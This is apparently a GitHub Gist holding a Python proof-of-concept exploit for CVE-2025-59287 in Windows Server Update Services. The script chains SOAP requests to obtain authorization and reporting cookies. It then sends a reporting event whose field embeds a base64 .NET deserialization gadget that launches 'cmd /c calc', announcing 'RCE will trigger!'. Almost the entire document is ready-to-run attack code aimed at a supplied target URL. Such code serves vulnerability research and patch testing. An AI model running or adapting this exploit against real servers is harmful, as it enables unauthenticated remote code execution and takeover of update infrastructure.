Last active
October 25, 2025 06:42
-
-
Save hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b to your computer and use it in GitHub Desktop.
HawkTrace CVE-2025-59287
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import requests | |
| import urllib3 | |
| import xml.etree.ElementTree as ET | |
| from datetime import datetime, timezone | |
| import sys | |
| import uuid | |
| from xml.sax.saxutils import escape | |
| urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
| def get_auth_cookie(target, server_id=None): | |
| url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx" | |
| headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', 'Content-Type': 'text/xml'} | |
| if server_id is None: | |
| server_id = str(uuid.uuid4()) | |
| soap_body = f'''<?xml version="1.0" encoding="utf-8"?> | |
| <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | |
| <soap:Body> | |
| <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService"> | |
| <clientId>{server_id}</clientId> | |
| <targetGroupName></targetGroupName> | |
| <dnsName>hawktrace.local</dnsName> | |
| </GetAuthorizationCookie> | |
| </soap:Body> | |
| </soap:Envelope>''' | |
| try: | |
| response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) | |
| if response.status_code == 200: | |
| root = ET.fromstring(response.text) | |
| for elem in root.iter(): | |
| if 'CookieData' in elem.tag and elem.text: | |
| print(f"[+] Using ID: {server_id}") | |
| return elem.text | |
| except Exception as e: | |
| print(f"[-] Auth cookie error: {e}") | |
| return None | |
| def get_server_id(target): | |
| url = f"{target}/ReportingWebService/ReportingWebService.asmx" | |
| headers = { | |
| 'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"', | |
| 'Content-Type': 'text/xml' | |
| } | |
| soap_body = '''<?xml version="1.0" encoding="utf-8"?> | |
| <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | |
| <soap:Body> | |
| <GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution"> | |
| <cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/> | |
| </GetRollupConfiguration> | |
| </soap:Body> | |
| </soap:Envelope>''' | |
| try: | |
| response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) | |
| if response.status_code == 200: | |
| root = ET.fromstring(response.text) | |
| for elem in root.iter(): | |
| if 'ServerId' in elem.tag and elem.text: | |
| print(f"[+] Server ID: {elem.text}") | |
| return elem.text | |
| except Exception as e: | |
| print(f"[-] Server ID error: {e}") | |
| fallback_id = str(uuid.uuid4()) | |
| print(f"[!] Using fallback ID: {fallback_id}") | |
| return fallback_id | |
| def get_reporting_cookie(target, auth_cookie): | |
| url = f"{target}/ClientWebService/Client.asmx" | |
| headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', 'Content-Type': 'text/xml'} | |
| timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ') | |
| soap_body = f'''<?xml version="1.0" encoding="utf-8"?> | |
| <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | |
| <soap:Body> | |
| <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService"> | |
| <authCookies> | |
| <AuthorizationCookie> | |
| <PlugInId>SimpleTargeting</PlugInId> | |
| <CookieData>{auth_cookie}</CookieData> | |
| </AuthorizationCookie> | |
| </authCookies> | |
| <oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/> | |
| <lastChange>{timenow}</lastChange> | |
| <currentTime>{timenow}</currentTime> | |
| <protocolVersion>1.20</protocolVersion> | |
| </GetCookie> | |
| </soap:Body> | |
| </soap:Envelope>''' | |
| try: | |
| response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) | |
| if response.status_code == 200: | |
| root = ET.fromstring(response.text) | |
| cookie_data = {} | |
| for elem in root.iter(): | |
| if 'Expiration' in elem.tag: | |
| cookie_data['expiration'] = elem.text | |
| elif 'EncryptedData' in elem.tag: | |
| cookie_data['encrypted_data'] = elem.text | |
| if 'encrypted_data' in cookie_data: | |
| return cookie_data | |
| except: | |
| pass | |
| return None | |
| def send_malicious_event(target, cookie): | |
| url = f"{target}/ReportingWebService/ReportingWebService.asmx" | |
| target_sid = str(uuid.uuid4()) | |
| event_instance_id = str(uuid.uuid4()) | |
| timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3] | |
| popcalc = '''<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>''' | |
| soap_body = f'''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> | |
| <soap:Body> | |
| <ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution"> | |
| <cookie> | |
| <Expiration>{cookie['expiration']}</Expiration> | |
| <EncryptedData>{cookie['encrypted_data']}</EncryptedData> | |
| </cookie> | |
| <clientTime>{timenow}</clientTime> | |
| <eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]"> | |
| <ReportingEvent> | |
| <BasicData> | |
| <TargetID> | |
| <Sid>{target_sid}</Sid> | |
| </TargetID> | |
| <SequenceNumber>0</SequenceNumber> | |
| <TimeAtTarget>{timenow}</TimeAtTarget> | |
| <EventInstanceID>{event_instance_id}</EventInstanceID> | |
| <NamespaceID>2</NamespaceID> | |
| <EventID>389</EventID> | |
| <SourceID>301</SourceID> | |
| <UpdateID> | |
| <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID> | |
| <RevisionNumber>0</RevisionNumber> | |
| </UpdateID> | |
| <Win32HResult>0</Win32HResult> | |
| <AppName>LocalServer</AppName> | |
| </BasicData> | |
| <ExtendedData> | |
| <MiscData soapenc:arrayType="xsd:string[2]"> | |
| <string>Administrator=SYSTEM</string> | |
| <string>SynchronizationUpdateErrorsKey={escape(popcalc)}</string> | |
| </MiscData> | |
| </ExtendedData> | |
| <PrivateData> | |
| <ComputerDnsName></ComputerDnsName> | |
| <UserAccountName></UserAccountName> | |
| </PrivateData> | |
| </ReportingEvent> | |
| </eventBatch> | |
| </ReportEventBatch> | |
| </soap:Body> | |
| </soap:Envelope>''' | |
| headers = { | |
| 'Connection': 'Keep-Alive', | |
| 'Content-Type': 'text/xml', | |
| 'Accept': 'text/xml', | |
| 'User-Agent': 'Windows-Update-Agent', | |
| 'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"', | |
| 'Host': target.replace('http://', '').replace('https://', '') | |
| } | |
| try: | |
| response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) | |
| if response.status_code == 200 and 'true' in response.text: | |
| return True, event_instance_id, target_sid | |
| else: | |
| return False, None, None | |
| except Exception as e: | |
| print(f"[DEBUG] Exception: {e}") | |
| return False, None, None | |
| def main(): | |
| if len(sys.argv) < 2: | |
| print("Usage: python HawkTrace.py <target_url>") | |
| print("Example: python HawkTrace.py http://192.168.1.100:8530") | |
| sys.exit(1) | |
| target = sys.argv[1] | |
| print(r""" | |
| _ _ _ | |
| | | | | | | | |
| | |__ __ ___ _| | _| |_ _ __ __ _ ___ ___ | |
| | '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \ | |
| | | | | (_| |\ V V /| <| |_| | | (_| | (_| __/ | |
| |_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___| | |
| Batuhan Er @int20z | |
| CVE-2025-59287 | |
| """) | |
| print() | |
| print("[+] Getting Server ID...") | |
| server_id = get_server_id(target) | |
| print("[+] Auth cookie with Server ID...") | |
| auth_cookie = get_auth_cookie(target, server_id) | |
| if not auth_cookie: | |
| print("[-] Failed") | |
| return | |
| cookie = get_reporting_cookie(target, auth_cookie) | |
| if not cookie: | |
| print("[-] Failed") | |
| return | |
| print("[+] Sending event with payload...") | |
| success, event_id, target_sid = send_malicious_event(target, cookie) | |
| if success: | |
| print("[+] SUCCESS!") | |
| print("[!] RCE will trigger!") | |
| else: | |
| print("[-] Failed") | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment